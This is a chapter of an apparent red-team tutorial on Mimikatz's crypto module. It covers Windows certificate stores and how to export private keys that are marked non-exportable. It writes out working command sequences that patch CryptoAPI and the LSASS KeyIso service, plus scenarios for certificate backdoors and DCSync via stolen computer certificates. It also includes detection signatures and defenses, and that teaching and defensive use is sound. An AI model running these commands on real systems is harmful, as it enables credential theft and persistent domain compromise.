Skip to content

Chapter 33: PKI - Listing and Exporting Certificates

Introduction

In the landscape of modern Windows authentication, certificates are more than just digital signatures—they are powerful, long-lived credentials. While we often focus on passwords and Kerberos tickets, certificates provide a level of persistence that is often overlooked. They underpin smart cards, VPNs, and the Kerberos PKINIT protocol. When an attacker steals a certificate with its private key, they aren't just taking a file; they’re taking a credential that often survives password resets and remains valid for years.

In my experience, certificate stores are a goldmine for lateral movement and persistence. Mimikatz's crypto module is the scalpel we use to extract these assets. Whether a key is marked as "exportable" or not, the system still needs to use it, which means it exists in memory. This chapter is about understanding how Windows organizes these stores and how we can use memory patching—specifically for CryptoAPI and CNG—to bypass security flags and exfiltrate the keys we need.

We’ll break down the architecture of the certificate stores, demonstrate the use of crypto::stores and crypto::certificates, and look at the tradecraft involved in exporting non-exportable keys. For the defenders, we’ll examine the Sysmon signatures and registry audits that can flag this activity before a stolen certificate turns into a domain-wide breach.

Technical Foundation: Windows Certificate Storage

Certificate Stores Architecture

Windows doesn't just dump all certificates into one bucket. It organizes them into logical containers called stores, separated by their scope (user vs. machine) and their purpose.

System Store Types:

  1. CURRENT_USER: Individual user certificates (Registry: HKCU\Software\Microsoft\SystemCertificates).
  2. LOCAL_MACHINE: Machine-wide certificates, accessible to all users (Registry: HKLM\SOFTWARE\Microsoft\SystemCertificates).
  3. SERVICES: Per-service stores (Registry: HKLM\SOFTWARE\Microsoft\Cryptography\Services\<ServiceName>\SystemCertificates).

The "My" Store: Within these system containers, the "My" (or Personal) store is usually our primary target. This is where authentication certificates—the ones with private keys—are stored.

Key Storage Mechanisms

Windows uses two distinct APIs to handle the actual math of cryptography:

  • CryptoAPI (Legacy): The classic API. Keys are stored in %APPDATA%\Microsoft\Crypto\RSA\<SID>\.
  • CNG (Next Generation): The modern standard. Keys are managed by the Key Storage Provider (KSP) and stored in %APPDATA%\Microsoft\Crypto\Keys\.

Exportable vs. Non-Exportable: The "Exportable" flag is a security setting. If it's set to "NO," standard Windows tools will refuse to give you the private key. But as we know, "No" in security often just means "not with the standard tools." Because the OS must be able to use the key to sign or decrypt data, the key material is reachable if you have the right privileges.

Mimikatz Crypto Module Commands

crypto::stores - The Map

Before we start looting, we need to know what's available. The crypto::stores command enumerates the available containers.

Example: Enumerating User Stores

mimikatz # crypto::stores /systemstore:current_user

Asking for System Store 'current_user' (0x00010000)
 0. My
 1. Root
 2. Trust
 ...
12. SmartCardRoot

crypto::certificates - The Looting Tool

This is the command we use to actually see the certificates and pull them out.

Example: Listing Personal Certificates

mimikatz # crypto::certificates

 * System Store  : 'CURRENT_USER' (0x00010000)
 * Store         : 'My'

 0. Alice Smith
    Subject  : DC=com, DC=acme, DC=corp, CN=Users, DC=Alice Smith
    Issuer   : DC=com, DC=acme, DC=corp, CN=ACME-CA
    UPN      : alice.smith@acme.corp.com
    Hash SHA1: a3c5e7f9b2d4e6f8a1c3e5f7b9d1e3f5a7c9e1f3
        Provider       : Microsoft Base Smart Card Crypto Provider
        Exportable key : NO

The Export: Adding /export will dump the public certificate as a .der file and the private key (if accessible) as a .pfx file. By default, Mimikatz protects these PFX files with the password mimikatz.

Exporting Non-Exportable Private Keys

If you see "Exportable key : NO," a simple /export will fail. We need to patch the memory of the cryptographic providers to bypass that check.

Method 1: Patching CryptoAPI (crypto::capi)

For older certificates using legacy CSPs, we patch the current process.

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched

Now, if you run crypto::certificates /export, the "Non-Exportable" flag is ignored.

Method 2: Patching CNG (crypto::cng)

Modern certificates (using the Software Key Storage Provider) are handled by the KeyIso service in LSASS. To bypass this, we need SYSTEM rights to patch LSASS memory.

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # crypto::cng
"KeyIso" service patched

This is a more surgical and modern approach, but it’s also noisier because it involves touching LSASS.

Attack Scenarios

Scenario: Service Account Certificate Theft

I often find that service accounts (like svc_sql) have 5-year certificates for internal web services or database auth. Using the crypto::cng patch, we can export these certificates. Even if the admin changes the svc_sql password, our stolen certificate remains a valid "backdoor" for authentication until it expires or is manually revoked.

Scenario: Computer Certificates for DCSync

Every computer in the domain has a certificate. If you can extract the computer's certificate from the local_machine store, you can use a tool like Rubeus to perform a PKINIT logon as the computer account (SERVER01$). Since computer accounts often have replication rights, this can be a direct path to a DCSync attack from an unauthorized host.

Detection - The SOC View

  1. Sysmon ID 10 (Process Access): Watch for any process accessing lsass.exe with the mask 0x1410 or 0x1010 while using the crypto::cng command. This is the signature of the memory patch.
  2. PFX File Creation: Monitor for the creation of .pfx or .p12 files in user directories, especially those containing strings like CURRENT_USER_My_.
  3. CNG Logging: Enable the Microsoft-Windows-Crypto-NCrypt/Operational log. High volumes of "NCrypt operation failure" (Event ID 3) can indicate an automated tool trying to brute-force or enumerate keys.

Defensive Strategies

  • Hardware-Backed Keys: This is the best defense. Configure your certificate templates to require the Microsoft Platform Crypto Provider (TPM). If the key is in the TPM, no amount of memory patching can get it out.
  • Credential Guard: Enabling Virtualization-Based Security (VBS) isolates the secrets in a container that Mimikatz cannot reach.
  • Short Lifetimes: Don't issue 5-year certificates. Use 1-year or shorter windows to minimize the value of a stolen credential.

Practical Exercises

  1. The Enumeration: List the certificates in your lab user's "My" store. Identify which ones have private keys.
  2. The Patch: Find a non-exportable CNG certificate. Try to export it and watch it fail. Then, run crypto::cng and try the export again.
  3. The Clean PFX: Use OpenSSL or PowerShell to remove the mimikatz password from an exported PFX so it’s ready for use in other tools.

Summary

Listing and exporting certificates is a critical skill for any operator.

  • Certificate Stores are highly organized registry-based containers.
  • crypto::capi and crypto::cng are the "magic" memory patches that bypass export restrictions.
  • TPM-backed keys and Credential Guard are the primary defensive walls against these techniques.

Next: Chapter 34: PKI - PKINITPrevious: Chapter 32: Kerberos Tickets - Kerberoasting